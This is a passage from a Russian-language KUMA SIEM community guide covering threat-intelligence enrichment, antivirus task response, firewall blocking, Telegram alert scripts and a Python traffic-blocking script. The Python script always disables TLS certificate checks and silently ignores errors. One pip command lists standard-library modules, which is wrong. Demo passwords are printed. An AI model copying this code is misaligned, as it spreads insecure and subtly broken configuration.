отправляет список индикаторов в формате JSON. Каждый элемент массива содержит значение индикатора для проверки в OpenCTI. Сервис обрабатывает запрос в три этапа: Аутентификация — проверка заголовка Authorization: Basic base64(user:password) . Значения сравниваются с LOOKUP_BASIC_USER и LOOKUP_BASIC_PASSWORD . При несоответствии запрос отклоняется. Нормализация индикаторов — например, из URL-адреса дополнительно извлекаются доменное имя и IP-адрес для расширения области поиска. Поиск в OpenCTI через GraphQL API — сначала среди объектов Indicators , затем, при отсутствии совпадений, среди Observables . Для авторизации используется API-токен сервисного пользователя. Поля обогащения При обнаружении индикатора в OpenCTI событие KUMA обогащается следующими данными: Поле Описание description / x_opencti_description Описание индикатора pattern STIX-паттерн индикатора created_at Дата создания updated_at Дата последнего обновления valid_from Дата начала актуальности индикатора valid_until Дата окончания актуальности индикатора x_opencti_score Степень доверия от 0 до 100 objectLabel Теги индикатора / наблюдаемого объекта createdBy Источник информации reports Связанные аналитические отчёты (при наличии) Настройка на стороне KUMA Для интеграции в KUMA используется механизм cybertrace-http , обеспечивающий потоковое обогащение событий. 1. Создание секрета Перейдите в Ресурсы → Секреты → Добавить и заполните параметры: Параметр Значение Название <название секрета> Тенант <название тенанта, например, Main> Тип credentials Пользователь Пароль Описание (опционально) 2. Создание правила обогащения Перейдите в Ресурсы → Правила обогащения → Добавить и заполните параметры: Параметр Значение Название <название правила обогащения> Тенант <название тенанта, например, Main> Исходный тип cybertrace-http URL Секрет <секрет, созданный на предыдущем шаге> Ключевые поля <поля, значения которых передаются в OpenCTI на анализ> Время ожидания 0 Макс. кол-во событий в очереди 1 000 000 Описание (опционально) Параметры фильтра <условия срабатывания правила, например: внутренние IP → внешние IP> 3. Подключение правила к коррелятору После создания добавьте правило обогащения на нужный коррелятор. Производительность и рекомендации Количество запросов к сервису OpenCTI-KUMA Lookup Proxy не ограничено жёстко в коде, однако зависит от: производительности сервера; параметров Gunicorn; производительности базы данных OpenCTI; сложности GraphQL-запросов. OpenCTI хранит данные в Elasticsearch в виде графовой модели STIX: SDO (STIX Domain Objects); SRO (STIX Relationship Objects). Сложные графовые запросы могут существенно снижать производительность, поэтому не рекомендуется использовать интеграцию для обогащения всего потока событий. Рекомендуется применять интеграцию для: корреляционных событий; событий, отфильтрованных по узким условиям. Пример работы В качестве примера рассмотрим детектирование обращений к вредоносным IP-адресам из командной строки. Для этого: 1. В нормализатор событий Windows Event ID 4688 добавьте извлечение IP-адресов из командной строки (*названия полей могут отличаться с учетом Вашей схемы нормализации). 2. Отредактируйте правило обогащения (названия полей могут отличаться с учетом Вашей схемы нормализации). В разделе «Ключевые поля» укажите поле, в которое записывается IP адрес при его обнаружении в командной строке, тем самым «сужая» фильтр поиска событий для обогащения. Пример настройки правила обогащения ниже: 3. Сохраните и обновите параметры коллектора. 4. Создайте правило корреляции с фильтром:  DeviceEventClassID = 4688 AND DeviceProduct = 'Windows' AND DeviceVendor = 'Microsoft' AND SourceProcessName icontains [ 'cmd.exe', 'powershell.exe' ] AND tidetect('', Reason) 5. Привяжите правило к коррелятору. После выполнения настроек необходимо сохранить и обновить (можно и перезапустить) параметры коррелятора. Таким образом, KUMA может обнаруживать обращения к вредоносным IP-адресам, выполняемым из командной строки, и автоматически обогащать такие события данными Threat Intelligence. Реагирование Описание готовых интеграций по реагированию Весь актуальный и новый контент с описанием добавляется в GitHub -  https://github.com/KUMA-Community   Реагирование из коробки KUMA Реагирование на KES через KSC: Запуск задачи обновления баз KES Запуск задачи сканирования KES Реагирование KEDR: Изоляция хоста и снятие с изоляции Блокировка хеша по md5 и sha256 на хосте Запуск исполняемого файла на хосте по полному пути Реагирование KICS Networks: Изменение статуса актива на Разрешенное Изменение статуса актива на Неразрешенное Реагирование AD (с версии KUMA 2.1): Блокировка УЗ Сброс пароля УЗ Добавление УЗ в группу и исключение из группы Реагирование Kaspersky Automated Security Awareness Platform (KASAP) – это платформа для онлайн-обучения: Изменять группы обучения пользователей Просматривать информацию о курсах, пройденных пользователями, и полученных ими сертификатах Готовые скрипты (описание) Telegram Response: Оповещения об алерте в телеграм канале Telegram Response Advanced:  Оповещения об алерте в телеграм канале Бот позволяет закрывать алерты по кнопке, создавать резервную копию и выполнять команды ssh на KUMA. UserGate Response: Блокировка по IP Блокировка по URL Блокировка по Домену KEDR Response (script): Изоляция хоста и снятие с изоляции Блокировка хеша по md5 и sha256 на хосте Запуск исполняемого файла на хосте по полному пути Логирование реагирования в системном журнале AD Response: Блокировка УЗ и разблокировка Выход пользователя из активных сессий Добавление УЗ в группу и исключение из группы KWTS Response: Блокировка по URL Блокировка по IP Блокировка по DOMAIN KSMG Response (по запросу): Блокировка по EMAIL Блокировка по IP KUMA: Защита от брутфорса интерфейса KUMA Cisco ASA Firewall: Блокировка по IP BIFIT Mitigator: Временная блокировка трафика по src_ip, dst_ip, src_port, dst_port, protocol Создание задач в Kaspersky Security Center Предварительно выполните шаги по настройке интеграции с Kaspersky Security Center, описанные в Разделе Интеграция с Kaspersky Security Center. Вы можете вручную или автоматически запускать на активах Kaspersky Security Center, импортированных в KUMA, задачу обновления антивирусных баз и модулей программы и задачу поиска вредоносного ПО. На активах должны быть установлены программы Kaspersky Endpoint Security для Windows или Linux. Предварительно на стороне Kaspersky Security Center необходимо создать задачи обновления антивирусных баз и поиска вредоносного ПО. Kaspersky Security Center Web Console Чтобы создать задачу поиска вредоносного ПО: 1. Выберите Активы (Устройства) → Задачи. 2. В Списке задач нажмите на кнопку Добавить . 3. Запустится мастер создания задачи. 4. Настройте параметры задачи: · В раскрывающемся списке Приложение выберите используемое приложение Kaspersky Endpoint Security для Windows (в нашем примере 12.8.0). · В раскрывающемся списке Тип задачи выберите Поиск вредоносного ПО. · В поле Название задачи введите название создаваемой задачи. Важно в названии задачи указать префикс «KUMA» . Задачи для Kaspersky Endpoint Security с данным префиксом в дальнейшем будут доступны в интерфейсе KUMA. · В блоке Устройства, которым будет назначена задача выберите Задать адреса устройств вручную или импортировать из списка .   5. Нажмите на кнопку Далее . 6. В окне Область действия задачи нажмите Добавить устройства. В окне справа Добавить устройства выберите Выбрать устройства, обнаруженные в сети Сервером администрирования. Для создания задачи можно указать любое устройство. KUMA будет передавать имена устройств, на которых нужно запустить задачу поиска вредоносного ПО.   7. Нажмите Добавить и затем Далее . 8. В окне Выбор учетной записи для запуска задачи укажите Учетная запись по умолчанию . Нажмите Далее . 9. Завершите работу мастера, нажав кнопку Готово . 10. В открывшемся окне свойств задачи перейдите на вкладку Параметры приложения и укажите Области проверки. В рамках тестирования можно уменьшить область проверки. В дальнейшем эту настройку можно изменить. 1. В секции Действие при обнаружении угрозы снимите флажок Выполнять только во время простоя компьютера.   2. Перейдите на вкладку Расписание и убедитесь, что для параметра Запуск задачи указано Вручную . 3. Нажмите Сохранить . Задача поиска вредоносного ПО создана. Далее создадим задачу обновления антивирусных баз и модулей: 1. Выберите Активы (Устройства) → Задачи. 2. В Списке задач нажмите на кнопку Добавить . 3. Запустится мастер создания задачи. 4. Настройте параметры задачи: · В раскрывающемся списке Приложение выберите используемое приложение Kaspersky Endpoint Security для Windows (в нашем примере 12.8.0). · В раскрывающемся списке Тип задачи выберите Обновление . · В поле Название задачи введите название создаваемой задачи. Важно в названии задачи указать префикс «KUMA» . Задачи для Kaspersky Endpoint Security с данным префиксом в дальнейшем будут доступны в интерфейсе KUMA. · В блоке Устройства, которым будет назначена задача выберите Задать адреса устройств вручную или импортировать из списка .     5. Нажмите на кнопку Далее . 6. В окне Область действия задачи нажмите Добавить устройства. В окне справа Добавить устройства выберите Выбрать устройства, обнаруженные в сети Сервером администрирования. Для создания задачи можно указать любое устройство. KUMA будет передавать имена устройств, на которых нужно запустить задачу обновления антивирусных баз. 1. Нажмите Добавить и затем Далее . 2. В окне Выбор учетной записи для запуска задачи укажите Учетная запись по умолчанию . Нажмите Далее . 3. Завершите работу мастера, нажав кнопку Готово . 1. В открывшемся окне свойств задачи перейдите на вкладку Параметры приложения и при необходимости отредактируйте Источники обновлений и Настройки обновлений .     2. Перейдите на вкладку Расписание и убедитесь, что для параметра Запуск задачи указано Вручную .   3. Нажмите Сохранить . Задача обновления антивирусных баз и модулей создана. Реагирование вручную средствами Kaspersky Security Center Чтобы запустить реагирование средствами Kaspersky Security Center вручную: 1. Перейдите в Алерты и выберите алерт, в рамках которого необходимо запустить действие по реагированию. В нашем примере это алерт R220_Сбор информации об учетных записях. 2. В карточке алерта в разделе Связанные активы выберите актив для запуска задачи. 3. В появившемся окне Информация об активе нажмите Запустить задачу. 4. В раскрывающемся списке выберите Реагирование KSC и далее ранее созданную задачу KUMA Обновление антивирусных баз и модулей (перед запуском задачи KUMA Поиск вредоносного ПО выполним задачу обновления для получения наиболее актуальных сигнатур вредоносного ПО). 5. Нажмите Запустить . Задача обновления на выбранном активе запущена. Чтобы убедиться, что задача была запущена и завершена успешно перейдите в раздел События и выполните следующий поисковый запрос: SELECT * FROM `events` WHERE FlexString2 = 'KUMA Обновление антивирусных баз и модулей ' AND DeviceEventClassID = 'KLPRCI_TaskState' AND DeviceProduct = 'KSC' ORDER BY Timestamp DESC LIMIT 250 Также статус выполнения задачи можно посмотреть в консоли Kaspersky Security Center или непосредственно в интерфейсе приложения Kaspersky Endpoint Security . Далее запустите ранее созданную задачу KUMA Поиск вредоносного ПО : 1. Перейдите в Алерты и выберите алерт, в рамках которого необходимо запустить действие по реагированию. В нашем примере это алерт R220_Сбор информации об учетных записях. 2. В карточке алерта в разделе Связанные активы выберите актив для запуска задачи. 3. В появившемся окне Информация об активе нажмите Запустить задачу. 4. В раскрывающемся списке выберите Реагирование KSC и далее ранее созданную задачу KUMA Поиск вредоносного ПО. 5. Нажмите Запустить . Задача поиска вредоносного ПО на выбранном активе запущена. Чтобы убедиться, что задача завершена успешно перейдите в раздел События и выполните следующий поисковый запрос: SELECT * FROM `events` WHERE FlexString2 = 'KUMA Поиск вредоносного ПО' AND DeviceEventClassID = 'KLPRCI_TaskState' AND DeviceProduct = 'KSC' ORDER BY Timestamp DESC LIMIT 250 Также статус выполнения задачи можно посмотреть в консоли Kaspersky Security Center или непосредственно в интерфейсе приложения Kaspersky Endpoint Security. Запускать вручную реагирование средствами Kaspersky Security Center также можно из раздела Активы , выбрав соответствующий актив из списка, или из карточки События , нажав на имя актива в поле * AssetID .   Статья онлайн-справки «Автоматический запуск задач Kaspersky Security Center»: https :// support . kaspersky . ru / kuma /3.2/218008   KUMA Community «Настройка автоматического реагирования KUMA с помощью задач KSC»: https :// kb . kuma - community . ru / books / integracii / page / nastroika - avtomaticeskogo - reagirovaniia - kuma - s - pomoshhiu - zadac - ksc Запуск скрипта коррелятором Интерпретатор скрипта должен поддерживаться ОС на которой находится скрипт. Для того чтобы коррелятор мог запускать скрипты.  Зайти по ssh на сервер где находится служба коррелятора и поместите скрипт (можно сделать с помощью WinSCP или любым другим инструментом) в следующую папку коррелятора: /opt/kaspersky/kuma/correlator//scripts/  - идентификатор коррелятора, можно найти в веб-интерфейсе (подробнее как это сделать ссылка ) Назначьте пользователя kuma владельцем файла и дайте файлу права на выполнение: chown kuma:kuma /opt/kaspersky/kuma/correlator//scripts/my_script.sh chmod +x /opt/kaspersky/kuma/correlator//scripts/my_script.sh Если скриптом производится работа с файлами, то пользователь kuma должен иметь права на эти файлы (рекомендуется использовать полный путь в скриптах) В группирующем поле  правила корреляции должны находиться целевые поля, которые используются в правилах реагирования, в нашем примере это DestinationAddress . В правиле реагирования рекомендуется добавить в условие (если необходимо) правило корреляции, на основе которого реагирование будет срабатывать: После внесения изменений в ресурсах (правила корреляции или реагирования) необходимо обновить параметры коррелятора в активных сервисах Настройка автоматического реагирования KUMA с помощью задач KSC Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/2.1/ru-RU/217923.htm Сценарий демонстрации Предлагается следующий сценарий для демонстрации возможностей по автоматическому реагированию с помощью задач на KSC: на защищаемом устройстве с KES запустить тестовый вирус eicar событие обнаружения вируса поступает на KUMA на KUMA срабатывает корреляционное правило «Обнаружен вирус» на KUMA выполняется команда на запуск антивирусной проверки на защищаемом устройстве Настройка на стороне KSC Создать внутреннего пользователя на KSC с необходимыми правами подробнее тут . Создать задачу поиска вирусов для KES либо обновления баз. В KUMA механизм автоматического реагирования работает только для KES. В целях тестирования можно уменьшить область поиска. В дальнейшем эту настройку можно изменить. Выполнить настройки задачи, как на рисунке ниже: Для создания задачи нужно указать любое устройство. При автоматическом запуске задачи KUMA будет передавать хосты, на которых нужно запустить задачу. Затем нужно выбрать учетную запись и Настроить запуск задачи вручную. Важно в названии задачи сделать префикс « KUMA ». Задачи для KES с этим префиксом будут доступны в интерфейсе KUMA. В нашем случае создаем задачу « KUMA Поиск вирусов ». Завершить создание задачи. Настройка на стороне KUMA Настроить интеграцию с KSC. При настройке «секрета» использовать учетную запись KSC, созданную на предыдущем шаге. Далее можно убедиться, что поступают новые события аудита от KSC - подключен пользователь с адреса KUMA. акже на этом шаге важно убедится, что значение в поле DestinationHostName записывается в виде полного доменного имени FQDN. Если это не так и значение записывается в виде hostname без доменной части, то необходимо настроить нормализацию. Для этого открыть нормализатор KSC. Настроить преобразование для поля DestinationHostName перед сохранением события Сохранить нормализатор и обновить параметры коллектора. Проверить, что значение DestinationHostName в новых событиях сохраняются в виде FQDN. Подготовка ресурсов KUMA Далее необходимо создать правила корреляции и реагирования. Это можно сделать вручную либо импортировать ресурсы из файла (Демонстрационный). Данная инструкция с импортом ресурсов. Файл ресурсов можно скачать по ссылке:  https://box.kaspersky.com/f/a84686dbb6b3404987ff/ Пароль: KLaapt-M1 (вводится в интерфейсе KUMA при импортировании) Для сработки правила реагирования необходимо добавить в наследуеме поля правила корреляции поле DestinationAssetID Привязать правило корреляции к коррелятору: Привязать правило реагирования к коррелятору. Сохранить настройки и перезапустить коррелятор. Проверка автоматического реагирования На защищаемом устройстве эмулировать вирусное заражение с помощью eicar. Получено событие от KSC «Обнаружен вредоносный объект». Создано корреляционное событие «[KES] Обнаружен вредоносный объект». Получены события подключения KUMA к KSC – события аудита. Получены события о выполнении задачи поиска вирусов на KSC. В KSC присутствуют события обнаружения вируса, подключения KUMA, выполнения задачи поиска вирусов. Блокировка адресов при помощи Cisco ASA Firewall на основе сработок алертов Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и  НЕ является официальной рекомендацией вендора. Данный скрипт добавлен пользователем KUMA Community и предоставляется AS IS без каких-либо гарантий и ответственности. В нашем случае мы при помощи правила корреляции, на основе логов веб-сервера Apache, блокируем входящий трафик от внешних адресов. Для настройки реагирования средствами Cisco ASA (блокировки IP адресов) (пример, при подключении по SSH) необходимо: Авторизоваться на ASA с привилегиями, позволяющими переходить в режим конфигурирования, отправить команду conf t Создать объект, в который наш скрипт будет добавлять адреса (черный список), назовём его BLACKLIST. Создаём командой  object network BLACKLIST На ASA создаём access-list, который будет блокировать входящие сетевые соединения из интернета от IP находящихся в нашем объекте. Пример: access-list INTERNET extended deny ip object-group BLACKLIST any Настройка на стороне KUMA В группирующем поле  правила корреляции должны находиться целевые поля, которые используются в правилах реагирования, в нашем примере это sourceAddress В "селекторы" и "действия" задаём необходимые в данном кейсе параметры. Обязательно добавить обогащение событие EventOutcome (как указано на скриншоте), это ключ (триггер) для следующего этапа по запуску правила реагирования. Размещаем скрипт (находится в папке пресейл-пака) предварительно заменив ключевые данные в скрипте, а именно:ip asa, login, password с правами, необходимыми для добавления в объект BLACK (см. выше, этап настройки ASA) Скрипт помещаем на сервере(-ах) по пути  /opt/kaspersky/kuma/correlator//scripts/ и предоставляем права пользователю kuma, чтобы служба имела достаточные права для запуска скрипта, командами: chown kuma:kuma /opt/kaspersky/kuma/correlator//scripts/asa.py chmod +x /opt/kaspersky/kuma/correlator//scripts/asa.py Данный этап индивидуален и зависит конкретно от Вашего экземпляра ОС, возможно будут дополнительные ошибки при запуске скрипта, для проверки скрипт можно запускать вручную с сервера и проверять работоспособность Также на сервер коррелятора в pip3 необходимо до установить следующие библиотеки, для возможности запуска python3.* threading paramiko sys argparse subprocess команда: pip3 install threading paramiko sys argparse subprocess Создаём правило реагирования, которое будет непосредственно запускать скрипт на коллекторе (шаг 4) ключевое, задаём Название скрипта, который мы перенесли на сервер коррелятора (шаг 4), также аргументы скрипта, как на скриншоте и ключевое поле EventOutcome = BLOCK (добавляется при срабатывании алерта, при помощи обогащения) (указано как пример, можно задать списком и другими полями). Осталось привязать новое правило корреляции. Привязываем к коррелятору.  Ресурсы -> Корреляторы -> Выбираем наш -> Корреляция, привязать (на скриншоте) Также необходимо здесь же добавить правило реагирования Готово, сохраняем и рестартуем коррелятор (ы) Отправка уведомления в телеграм-бот Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Настройка Telegram 1. В Telegram находим бота:  https://t.me/BotFather 2. Запускаем командой  /start 3. Создаем нового бота командой /newbot 4. Вводим желаемое имя и логин бота (должен заканчиваться словом bot ). В данном примере имя бота "KUMA DEMO" и логин бота "kumademo_bot". 5. По завершении получаем токен для обращения к боту и ссылку на него 6. Если планируется использовать бота в группе, а не в личных сообщениях, то необходимо изменить настройки приватности. Для этого вводим  /mybots , выбираем своего бота из списка, выбираем Bot Settings, Group Privacy и выбираем Turn off. После этого бот сможет отправлять сообщения в группах. 7. Далее переходим в своего бота по ссылке полученной от BotFather и выполняем команду /start для запуска бота. 8. Для отправки сообщения отдельному пользователю необходимо начать диалог с ботом, а также узнать chat_id этого пользователя. Чтобы узнать chat_id пользователя заходим в бота  https://t.me/getmyid_bot и вводим команду /start . Полученное значение chat_id потребуется в дальнейшем для отправки сообщений ботом 9. Чтобы отправлять сообщение ботом в группу необходимо узнать chat_id этой группы. Для этого в созданную группу необходимо пригласить бота  https://t.me/getmyid_bot и он выведет chat_id группы (в поле Current chat ID), который потребуется в дальнейшем для отправки уведомлений. После получения id бота нужно удалить из группы. 10. Теперь можно отправить тестовое сообщение боту набрав в строке браузера команду: https://api.telegram.org/bot/sendMessage?chat_id=&text=test Подставив вместо и значения полученные ранее. В результате в личном чате или группе (в зависимости от выбранного способа) должно появиться уведомление, а в ответе браузера JSON не должен содержать ошибок. 11. После проверки работоспособности бота можно переходить к настройке отправки уведомлений. Скрипт уведомления 1. Создайте скрипт уведомления В простейшем виде скрипт отправки уведомления выглядит следующим образом: #!/bin/bash set -eu CHAT_ID= TG_TOKEN= RULE=$1 TEXT="Произошла сработка правила $RULE" curl --data-urlencode "chat_id=$CHAT_ID" --data-urlencode "text=$TEXT" --data-urlencode "parse_mode=HTML" https://api.telegram.org/bot$TG_TOKEN/sendMessage В случае, если у сервера коррелятора отсутствует прямой доступ в Интернет, скрипт можно модифицировать добавив адрес прокси-сервера для доступа в Интернет #!/bin/bash set -eu CHAT_ID= TG_TOKEN= RULE=$1 TEXT="Произошла сработка правила $RULE" PROXY=<адрес и порт прокси-сервера> curl --proxy $PROXY --data-urlencode "chat_id=$CHAT_ID" --data-urlencode "text=$TEXT" --data-urlencode "parse_mode=HTML" https://api.telegram.org/bot$TG_TOKEN/sendMessage Еще один вариант скрипта Еще один вариант скрипта, когда в качестве аргумента передаем следующие поля "{{.Timestamp}} | {{.Name}} | {{.DeviceHostName}}" : #!/bin/bash set -eu CHAT_ID= TG_TOKEN= RULE=$1 # writing local log of arguments echo $(date +"%d-%m-%Y %T.%3N") - $RULE >> /opt/kaspersky/kuma/correlator/0b9200ae-d5a9-41ce-bf7b-c16814ed9524/scripts/bot.log # escaping spec characters in argument except \s \| RULE=$(echo $RULE | sed 's/[][\~`!@#$%^&*()=+{};:'"'"'"<>/?-]/\\&/g') #try to beautify alert if arg is like "{{.Timestamp}} | {{.Name}} | {{.DeviceHostName}}" { TIME=$(date -d @$(($(echo $RULE | cut -d "|" -f 1)/1000))) NAME=$(echo $RULE | cut -d "|" -f 2) HOST=$(echo $RULE | cut -d "|" -f 3) TEXT="⚠️Алерт %0AПравило: $NAME %0AВремя: $TIME %0AХост: $HOST" } || { #else if can't beautify TEXT="⚠️Алерт %0AПравило: $NAME %0" } curl -XPOST "https://api.telegram.org/bot$TG_TOKEN/sendMessage?chat_id=$CHAT_ID&text=$TEXT&parse_mode=html" Получаем алерт вида: 2. Поместите скрипт в папку коррелятора, уведомления о сработках которого необходимо отправлять через телеграм-бот Путь для размещения скрипта /opt/kaspersky/kuma/correlator//scripts/  - идентификатор коррелятора, можно найти в веб-интерфейсе ( ссылка ) 3. Назначьте пользователя kuma владельцем файла и дайте файлу права на выполнение chown kuma:kuma /opt/kaspersky/kuma/correlator//scripts/bot.sh chmod +x /opt/kaspersky/kuma/correlator//scripts/bot.sh Настройка KUMA 1. В веб-интерфейсе KUMA перейдите на вкладку Resources , выберите Response и нажмите на кнопку Add Response . 2. Задайте параметры правила реагирования В поле Name укажите имя правила реагирования. Укажите тенант. В поле kind выберите script . Задайте имя скрипта в поле   Script name . В качестве аргумента укажите {{.Name}} - так в качестве аргумента выполнения скрипта будет передаваться имя корреляционного события. 3. Далее перейдите в настройки коррелятора, который будет выполнять реагирование  На вкладке Response нажмите Add и из выпадающего списка выберите созданное ранее правило реагирования. 4. Обновите параметры сервиса коррелятора 5. Результат работы скрипта представлен ниже Реагирование на BIFIT Mitigator Данный скрипт добавлен пользователем KUMA Community и предоставляется AS IS без каких-либо гарантий и ответственности. Описание Скрипт позволяет осуществить временную блокировку трафика ( tbl ) в политике, которая подпадает под указанные параметры ( src_ip , dst_ip , src_port , dst_port , protocol ) или же в указанной политике.   Аргументы --server указываем ip адрес сервера, можно захаркодить в скрипте в hostnames = ['x.x.x.x', 'y.y.y.y'] # Вставить список хостов  --user указываем имя пользователя, можно захаркодить в скрипте в user = 'login' # Заменить логин --password указываем имя пользователя, можно захаркодить в скрипте в passwd = 'passwd' # Заменить пароль --policy указываем policy_id, если известно заранее -s , --ip_src IP адрес источника для блокировки -d , --ip_dst IP адрес назначения для блокировки -t , --time время на которое будет заблокирован трафик -p , --port_src Порт источника для блокировки -o , --port_dst Порт назначения для блокировки -P , --protocol Протокол для блокировки Правило реагирования Скрипт Скрипт на языке python доступен под спойлером mitigator_block.py #!/bin/python3 import argparse import json import ssl import sys if sys.version_info >= (3, ): from urllib.request import Request, urlopen from urllib.error import HTTPError else: from urllib2 import Request, urlopen, HTTPError class RequestEx(Request): def __init__(self, *args, **kwargs): self._method = kwargs.pop('method', None) Request.__init__(self, *args, **kwargs) # 'add_data(str)' removed in Python 3.4 in favour of 'Request.data: bytes' def add_data(self, data): if hasattr(self, 'data'): self.data = data.encode('utf-8') else: Request.add_data(self, data) # Request.method was added in Python 3.3 def get_method(self): return self._method if self._method else Request.get_method(self) class MitigatorException(BaseException): def __init__(self, message): self.message = message def __str__(self): return self.message def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('--server', help='Mitigator host') parser.add_argument('--user', help='Mitigator login') parser.add_argument('--password', help='Mitigator password') parser.add_argument('--policy', help='policy ID (as shown in URL)') parser.add_argument('--no-verify', help='disable TLS certificate validation', action='store_true') parser.add_argument('-s', '--ip_src', required=True, help='IP address to block') parser.add_argument('-d', '--ip_dst', required=True, help='IP address to block') parser.add_argument('-t', '--time', required=True, help='block time in seconds', type=int) parser.add_argument('-p', '--port_src', help='Port src to block', type=int) parser.add_argument('-o', '--port_dst', help='Port dst to block', type=int) parser.add_argument('-P', '--protocol', help='Protocol to block') return parser.parse_args() def make_request(hostname, uri, method=None, token=None, policy=None, data=None, parameters=None): url = f'https://{hostname}/api/v4/{uri}' if parameters is not None: url = f'https://{hostname}/api/v4/{uri}?{parameters}' request = RequestEx(url, method=method) if token is not None: request.add_header('X-Auth-Token', token) if data is not None: request.add_data(json.dumps(data)) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx = ctx try: response = urlopen(request, context=ctx) except HTTPError as e: try: raise MitigatorException(e.fp.read()) except IOError: raise e return json.load(response)['data'] def block_traffic(hostname, token, options, policy_id): #Вносим во временную блокировку ip адрес if policy_id: tbl_install = make_request(hostname, f'tbl/items?policy={policy_id}&no_logs=false&source=1', token=token, method='POST', data={ "items": [ { "prefix": options.ip_src, "ttl": options.time } ] } ) tbl_install_check = make_request(hostname, f'tbl/list?policy={policy_id}', token=token, method='GET') def search_policy(hostname, token, options): data_request = '' if options.ip_src is not None: data_request += f'src_address={options.ip_src}' if options.ip_dst is not None: data_request += f'&dst_address={options.ip_dst}' if options.port_src is not None: data_request += f'&src_port={options.port_src}' else: data_request += '&src_port=88' # обязательный параметр при запросе policy_id, но в политике может быть не настроен, подставляем произвольный if options.port_dst is not None: data_request += f'&dst_port={options.port_dst}' else: data_request += '&dst_port=88' # обязательный параметр при запросе policy_id, но в политике может быть не настроен, подставляем произвольный if options.protocol is not None: data_request += f'&protocol={options.protocol}' else: data_request += '&protocol=TCP' # обязательный параметр при запросе policy_id, но в политике может быть не настроен, подставляем произвольный policy_request = make_request(hostname, f'policies/by_inbound_packet', token=token, method='GET', parameters=data_request) policy_id = policy_request.get('policy_id') return policy_id if __name__ == '__main__': options = parse_args() if options.server is not None: hostnames = [options.server] else: hostnames = ['x.x.x.x', 'y.y.y.y'] # Заменить список хостов if options.user is not None: user = options.user else: user = 'user' # Заменить логин if options.password is not None: passwd = options.password else: passwd = 'passwd' # Заменить пароль for host in hostnames: url_prefix = f"https://{host}/api/v4" try: data = make_request(host, 'users/session', data={'username': user, 'password': passwd}) token = data['token'] if options.policy is None: policy_id = search_policy(host, token, options) block_traffic(host, token, options, policy_id) else: block_traffic(host, token, options, options.policy) except: continue Отправка уведомления в телеграм-бот со ссылкой на KATA и KUMA Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Данный сценарий рекомендуется использовать только в демонстрационных целях ! Правило корреляции из данного сценария написано с широким фильтром и на боевой инсталляции может генерировать большое число алертов! Настройка Telegram Настройки Telegram-бота, а также инструкции по импорту скрипта на коррелятор приведены в соответствующей статье  Скрипт уведомления Скрипт отправки уведомления выглядит следующим образом: #!/bin/bash set -eu CHAT_ID= TG_TOKEN=<токен> KUMA_ASSETS="https://:7220/assets/all?asset=" TEXT="В KATA обнаружен TAA-детект $1 на хосте $2.%0AАлерт KATA доступен по ссылке" curl --data-urlencode "chat_id=$CHAT_ID" --data "text=$TEXT" --data-urlencode "parse_mode=HTML" https://api.telegram.org/bot$TG_TOKEN/sendMessage Для работы скрипта необходимо задать следующие параметры: CHAT_ID - id чата или группы с ботом вместо TG_TOKEN - токен бота вместо KUMA_ASSETS - указать адрес KUMA (FQDN или IP) вместо Поместите скрипт в папку коррелятора, уведомления о сработках которого необходимо отправлять через телеграм-бот Настройка KUMA Для реализации предложенного сценария необходимо: 1. Импортировать в систему пакет ресурсов по ссылке Состав и пароль от пакета ресурсов Пароль для импорта: Qwerty123! Состав пакета: 2. На коллекторе для сбора событий KATA применить правило обогащения из пакета KATA alert (или коробочный аналог [OOTB] Kata Alert ) 3. На коррелятор привязать правило корреляции [KATA] Обнаружен TAA-детект 4. На коррелятор привязать правило реагирования [DEMO] Telegram -2 5. Выполнить обновление параметров сервисов коллектора и коррелятора. Результат работы скрипта 1. Когда КАТА возводит алерт по ТАА-правилам, в KUMA срабатывает правило корреляции.  2. Корреляционное событие этого правила триггерит правило реагирования.  3. По правилу реагирования запускается скрипт отправки уведомлений в Телеграм. Уведомление в телеграм содержит наименование TAA-детекта, FQDN-хоста, на котором была обнаружена активность (со ссылкой на активы KUMA), ссылку на соответствующий алерт в KATA. Пример уведомления Интеграция по реагированию KUMA и KEDR Настройки на KUMA На стороне KUMA. Если мы не хотим делать отдельные интеграции разделенные по Тенантам (подходит для MSSP), а одну общую интеграцию с KEDR, то нужно убрать галочку Распределенное решение : Задаем Адрес сервера и Порт, затем создаем Секрет для подключения к KEDR: Придумайте название Секрета и сгенерируйте закрытый ключ нажав на значок Загрузки . Распакуйте архив, затем загрузите Открытый ключ (cert.pem) и Закрытый ключ (key.pem). Нажмите кнопку Сохранить для сохранения Секрета. Затем снова на кнопку Сохранить для сохранения настроек Интеграции с KEDR. Настройки на KEDR На стороне KEDR нужно залогинться из под УЗ (с пролью администратора), по умолчанию это  Administrator , перейти в раздел Внешние системы . Необходимо принять запрос от внешней системы (Внешний ID в настройках интеграции KUMA Должен совпадать с ID внешней системы в KEDR). Для удобства можно задать имя внешней системы в KEDR: Интеграция завершена.   Для работы кнопки реагирования KEDR: Полное доменное имя (FQDN) актива в KUMA должно совпадать со значением Хост в Активах KEDR (вход от Администраторской УЗ)   Логирование работы с API на стороне CN (Central Node) Зайти по ssh на сервер KATA/KEDR CN и выполнить команду: [root@kata-cn-4 ~]# cat /var/log/kaspersky/apt-history/apt-history.log 2022-01-11 09:34:06.419690 info apt-history: EXTERNAL_SYSTEM=TEST_KUMA REQUEST_TIMESTAMP=2022-01-11T09:34:06.418883: network isolation SET: host=14b22842-33d6-d3ef-3789-ef5108d6d411 rule={"autoTurnoffTimeoutInSec":180} 2022-01-11 09:36:15.200333 info apt-history: EXTERNAL_SYSTEM=TEST_KUMA REQUEST_TIMESTAMP=2022-01-11T09:36:15.199826: network isolation DELETED: host=14b22842-33d6-d3ef-3789-ef5108d6d411 Реагирование на KICS Networks с помощью скрипта Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и  НЕ  является официальной рекомендацией вендора. В связи с ограничениями коробочного реагирования с KICS Networks (возможность выбора полей только *AssetID) в KUMA 2.х версиях был разработан скрипт, который может использовать произвольное поле, где находится UUID актива в KUMA. Скрипт реагирования можно загрузить из Пресейл-Пак контент из соответсвующей папки. Для попадания событий 